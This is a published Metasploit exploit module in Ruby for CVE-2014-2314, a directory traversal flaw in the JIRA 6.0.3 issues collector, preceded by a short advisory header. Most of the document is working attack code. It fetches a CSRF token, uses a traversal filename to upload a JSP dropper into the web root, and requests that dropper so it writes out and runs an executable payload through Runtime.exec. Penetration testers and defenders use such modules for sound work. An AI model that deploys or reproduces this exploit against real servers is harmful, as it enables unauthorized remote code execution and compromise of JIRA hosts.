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JIRA Issues Collector Directory Traversal

JIRA Issues Collector Directory Traversal
Posted Apr 5, 2014
Authored by juan vazquez, Philippe Arteau | Site metasploit.com

This Metasploit module exploits a directory traversal flaw in JIRA 6.0.3. The vulnerability exists in the issues collector code, while handling attachments provided by the user. It can be exploited in Windows environments to get remote code execution. This Metasploit module has been tested successfully on JIRA 6.0.3 with Windows 2003 SP2 Server.

tags | exploit, remote, code execution
systems | windows
advisories | CVE-2014-2314
SHA-256 | 783e49bcca618f45aca5b00a8b6fcbdae2dba3968c1339e845b3f9daa4bc1061

JIRA Issues Collector Directory Traversal

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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'JIRA Issues Collector Directory Traversal',
'Description' => %q{
This module exploits a directory traversal flaw in JIRA 6.0.3. The vulnerability exists
in the issues collector code, while handling attachments provided by the user. It can be
exploited in Windows environments to get remote code execution. This module has been tested
successfully on JIRA 6.0.3 with Windows 2003 SP2 Server.
},
'Author' =>
[
'Philippe Arteau', # Vulnerability Discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2014-2314'],
[ 'OSVDB', '103807' ],
[ 'BID', '65849' ],
[ 'URL', 'https://confluence.atlassian.com/display/JIRA/JIRA+Security+Advisory+2014-02-26' ],
[ 'URL', 'http://blog.h3xstream.com/2014/02/jira-path-traversal-explained.html' ]
],
'Privileged' => true,
'Platform' => 'win',
'Targets' =>
[
[ 'Jira 6.0.3 / Windows 2003 SP2',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Feb 26 2014'))

register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, 'Path to JIRA', '/']),
OptInt.new('COLLECTOR', [true, 'Collector ID'])
], self.class)

register_advanced_options(
[
# By default C:\Program Files\Atlassian\JIRA\atlassian-jira\QhVRutsh.jsp
OptString.new('JIRA_PATH', [true, 'Path to the JIRA web folder from the Atlassian installation directory', "JIRA\\atlassian-jira"]),
# By default file written to C:\Program Files\Atlassian\Application Data\JIRA\caches\tmp_attachments\$random_\, we want to traversal until 'Atlassian'
OptInt.new('TRAVERSAL_DEPTH', [true, 'Traversal depth', 6])
], self.class)
end

def get_upload_token
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, "rest", "collectors", "1.0", "tempattachment", datastore['COLLECTOR']),
'method' => 'POST',
'data' => rand_text_alpha(10 + rand(10)),
'vars_get' =>
{
'filename' => rand_text_alpha(10 + rand(10))
}
})

if res and res.code == 500 and res.body =~ /"token":"(.*)"}/
csrf_token = $1
@cookie = res.get_cookies
else
csrf_token = ""
end

return csrf_token
end

def upload_file(filename, contents, csrf_token)
traversal = "..\\" * datastore['TRAVERSAL_DEPTH']
traversal << datastore['JIRA_PATH']

res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, "rest", "collectors", "1.0", "tempattachment", datastore['COLLECTOR']),
'method' => 'POST',
'data' => contents,
'cookie' => @cookie,
'ctype' => 'text/plain',
'vars_get' =>
{
'filename' => "#{traversal}\\#{filename}",
'atl_token' => csrf_token
}
})

if res and res.code == 201 and res.body =~ /\{"name":".*#{filename}"/
register_files_for_cleanup("..\\..\\#{datastore['JIRA_PATH']}\\#{filename}")
register_files_for_cleanup("..\\..\\#{datastore['JIRA_PATH']}\\#{@exe_filename}")
return true
else
print_error("#{peer} - Upload failed...")
return false
end
end

def upload_and_run_jsp(filename, contents)
print_status("#{peer} - Getting a valid CSRF token...")
csrf_token = get_upload_token
fail_with(Failure::Unknown, "#{peer} - Unable to find the CSRF token") if csrf_token.empty?

print_status("#{peer} - Exploiting traversal to upload JSP dropper...")
upload_file(filename, contents, csrf_token)

print_status("#{peer} - Executing the dropper...")
send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, filename),
'method' => 'GET'
})
end

def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'login.jsp'),
})

if res and res.code == 200 and res.body =~ /<meta name="application-name" content="JIRA" data-name="jira" data-version="([0-9\.]*)">/
version = $1
else
return Exploit::CheckCode::Unknown
end

if version <= "6.0.3"
return Exploit::CheckCode::Detected
end

return Exploit::CheckCode::Safe
end

def exploit
print_status("#{peer} - Generating EXE...")
exe = payload.encoded_exe
@exe_filename = Rex::Text.rand_text_alpha(8) + ".exe"

print_status("#{peer} - Generating JSP dropper...")
dropper = jsp_drop_and_execute(exe, @exe_filename)
dropper_filename = Rex::Text.rand_text_alpha(8) + ".jsp"

print_status("#{peer} - Uploading and running JSP dropper...")
upload_and_run_jsp(dropper_filename, dropper)
end

# This should probably go in a mixin (by egypt)
def jsp_drop_bin(bin_data, output_file)
jspraw = %Q|<%@ page import="java.io.*" %>\n|
jspraw << %Q|<%\n|
jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|

jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|

jspraw << %Q|int numbytes = data.length();\n|

jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
jspraw << %Q|{\n|
jspraw << %Q| char char1 = (char) data.charAt(counter);\n|
jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n|
jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n|
jspraw << %Q| comb <<= 4;\n|
jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n|
jspraw << %Q| bytes[counter/2] = (byte)comb;\n|
jspraw << %Q|}\n|

jspraw << %Q|outputstream.write(bytes);\n|
jspraw << %Q|outputstream.close();\n|
jspraw << %Q|%>\n|

jspraw
end

def jsp_execute_command(command)
jspraw = %Q|<%@ page import="java.io.*" %>\n|
jspraw << %Q|<%\n|
jspraw << %Q|try {\n|
jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n|
jspraw << %Q|} catch (IOException ioe) { }\n|
jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
jspraw << %Q|%>\n|

jspraw
end

def jsp_drop_and_execute(bin_data, output_file)
jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file)
end

end
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